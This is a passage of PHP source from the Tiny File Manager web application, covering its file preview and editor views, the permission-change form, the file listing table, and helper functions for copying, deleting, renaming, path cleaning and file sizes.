preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php if(!$quickView) { fm_show_footer(); } exit; } // file editor if (isset($_GET['edit'])) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg('File Saved Successfully'); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button> <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button> <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select> <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1"> <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text && $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error'); } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> Full path: <?php echo $file_path ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } //--- FILEMANAGER MAIN fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php // link to parent folder if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0"></td> <td class="border-0"></td> <td class="border-0"></td> <?php if (!FM_IS_WIN && !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $ii = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); if ($calc_folder) { $filesize_raw = fm_get_directorysize($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); } else { $filesize_raw = ""; $filesize = lng('Folder'); } $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ii ?>"></label> </div> </td><?php endif; ?> <td> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $ii++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?> <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) && empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td class="gray"></td><?php endif; ?> <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"> <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?> <?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?> <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); //--- END // Functions /** * Check if the filename is allowed. * @param string $filename * @return bool */ function fm_is_file_allowed($filename) { // By default, no file is allowed $allowed = false; if (FM_EXTENSION) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) { $allowed = true; } } return $allowed; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!$isFileAllowed) return false; return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'fa fa-file-archive-o'; break; case 'php': case 